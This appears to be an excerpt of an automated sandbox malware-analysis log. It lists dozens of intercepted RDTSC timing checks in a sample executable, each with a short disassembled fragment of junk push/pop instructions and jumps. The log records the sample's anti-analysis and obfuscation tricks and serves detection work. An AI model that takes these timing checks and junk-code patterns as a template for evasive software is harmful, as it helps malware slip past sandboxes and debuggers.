Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD80B second address: 6DD84B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F48D851E9BAh 0x00000008 jp 00007F48D851E9C2h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 jnp 00007F48D851E9CBh 0x00000017 jmp 00007F48D851E9C5h 0x0000001c push eax 0x0000001d push edx 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD84B second address: 6DD84F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD97E second address: 6DD983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD983 second address: 6DD9B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jp 00007F48D88430BCh 0x00000011 jg 00007F48D88430B6h 0x00000017 jmp 00007F48D88430BEh 0x0000001c push eax 0x0000001d push edx 0x0000001e jo 00007F48D88430B6h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD9B2 second address: 6DD9B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DD9B6 second address: 6DD9C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430BCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DDB21 second address: 6DDB25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DDC8E second address: 6DDC92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DDE2A second address: 6DDE30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DDE30 second address: 6DDE3A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F48D88430B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DDE3A second address: 6DDE65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F48D851E9BDh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F48D851E9C4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DDE65 second address: 6DDE6A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DE518 second address: 6DE51E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6DCDFD second address: 6DCE19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F48D88430C5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6E1F6A second address: 6E1F99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F48D851E9BFh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F48D851E9BBh 0x00000014 jmp 00007F48D851E9BBh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6E5AC5 second address: 6E5AE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F48D88430C2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6E5AE7 second address: 6E5AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F48D851E9B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6E535A second address: 6E5379 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F48D88430B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b js 00007F48D88430D0h 0x00000011 js 00007F48D88430B8h 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6E5502 second address: 6E550D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6E565E second address: 6E567C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F48D88430B6h 0x00000009 ja 00007F48D88430B6h 0x0000000f jmp 00007F48D88430BBh 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6E57AC second address: 6E57B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6E57B2 second address: 6E57C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F48D88430BBh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6E57C6 second address: 6E57CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6E57CA second address: 6E57CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6E7F65 second address: 6E7F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F48D851E9BAh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6E7F74 second address: 6E7FB8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F48D88430BAh 0x00000008 pop esi 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jnl 00007F48D88430B6h 0x00000012 jnp 00007F48D88430B6h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jc 00007F48D88430C8h 0x00000023 jmp 00007F48D88430C2h 0x00000028 push eax 0x00000029 push edx 0x0000002a jc 00007F48D88430B6h 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6E7FB8 second address: 6E7FD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C2h 0x00000007 jno 00007F48D851E9B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6E7C3F second address: 6E7C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F48D88430BAh 0x00000009 jmp 00007F48D88430BAh 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 jnl 00007F48D88430B8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6ECFAB second address: 6ECFB1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6ECFB1 second address: 6ECFB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6ECFB9 second address: 6ECFBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6ECFBD second address: 6ECFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F48D88430DAh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6ECFD3 second address: 6ECFDD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F48D851E9B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 64B327 second address: 64B357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007F48D88430BAh 0x0000000c jc 00007F48D88430CCh 0x00000012 jmp 00007F48D88430C6h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6ED136 second address: 6ED140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F48D851E9B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6ED556 second address: 6ED57B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 je 00007F48D88430B6h 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007F48D88430B8h 0x00000015 je 00007F48D88430BEh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6ED57B second address: 6ED5A5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007F48D851E9B6h 0x00000009 pop esi 0x0000000a pushad 0x0000000b jp 00007F48D851E9B6h 0x00000011 jmp 00007F48D851E9C7h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69897C second address: 698981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 698981 second address: 69898C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F48D851E9B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6F1C77 second address: 6F1C7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6F1C7B second address: 6F1C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6F1C81 second address: 6F1C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6F1C8B second address: 6F1C91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6F1C91 second address: 6F1CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F48D88430C5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6F232F second address: 6F2344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F48D851E9BAh 0x0000000a popad 0x0000000b push ecx 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6F2344 second address: 6F2353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jg 00007F48D88430B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6F5145 second address: 6F5169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jbe 00007F48D851E9B6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jmp 00007F48D851E9C1h 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6F5169 second address: 6F5194 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F48D88430BDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F48D88430C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6FBD2D second address: 6FBD33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6FC031 second address: 6FC036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6FC036 second address: 6FC03E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6FC03E second address: 6FC042 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6FC90F second address: 6FC92D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F48D851E9C0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F48D851E9B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6FCC02 second address: 6FCC28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007F48D88430B6h 0x00000010 ja 00007F48D88430B6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6FCC28 second address: 6FCC3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F48D851E9BBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6FCC3A second address: 6FCC79 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F48D88430C5h 0x0000000d popad 0x0000000e pushad 0x0000000f je 00007F48D88430BEh 0x00000015 push edx 0x00000016 pop edx 0x00000017 jbe 00007F48D88430B6h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F48D88430C0h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6FCF55 second address: 6FCF5F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F48D851E9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6FCF5F second address: 6FCF6C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 6FCF6C second address: 6FCF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7015C0 second address: 7015CE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 ja 00007F48D88430B6h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7015CE second address: 7015DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F48D851E9BAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 70172B second address: 70174F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C3h 0x00000007 jmp 00007F48D88430BDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 70174F second address: 701772 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F48D851E9D5h 0x00000008 jmp 00007F48D851E9C9h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 701772 second address: 701782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jns 00007F48D88430B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 701782 second address: 7017AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F48D851E9BAh 0x0000000b jmp 00007F48D851E9C4h 0x00000010 popad 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 701D1C second address: 701D27 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007F48D88430B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 701EB9 second address: 701EC3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F48D851E9B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 706B51 second address: 706B55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 706B55 second address: 706B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 710295 second address: 71029A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 70E3D4 second address: 70E3E4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F48D851E9B6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 70E982 second address: 70E987 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 70E987 second address: 70E995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jnp 00007F48D851E9B6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 70E995 second address: 70E99B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 70EC16 second address: 70EC1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7100B9 second address: 7100BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7100BD second address: 7100C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7100C6 second address: 7100CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7100CD second address: 7100EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F48D851E9C8h 0x00000009 js 00007F48D851E9B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7100EF second address: 710115 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 ja 00007F48D88430B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F48D88430BDh 0x00000012 pushad 0x00000013 popad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 70DF40 second address: 70DF50 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F48D851E9B6h 0x00000008 jnc 00007F48D851E9B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 70DF50 second address: 70DF59 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 715B2C second address: 715B7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 jmp 00007F48D851E9C5h 0x0000000d pushad 0x0000000e jmp 00007F48D851E9BFh 0x00000013 jmp 00007F48D851E9C9h 0x00000018 push edx 0x00000019 pop edx 0x0000001a popad 0x0000001b pushad 0x0000001c push esi 0x0000001d pop esi 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 pop eax 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 722B2C second address: 722B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 722B30 second address: 722B34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 726731 second address: 726743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F48D88430B6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 726743 second address: 726747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 726747 second address: 726761 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 726761 second address: 726777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F48D851E9C0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 726777 second address: 72677B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7263B5 second address: 7263C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
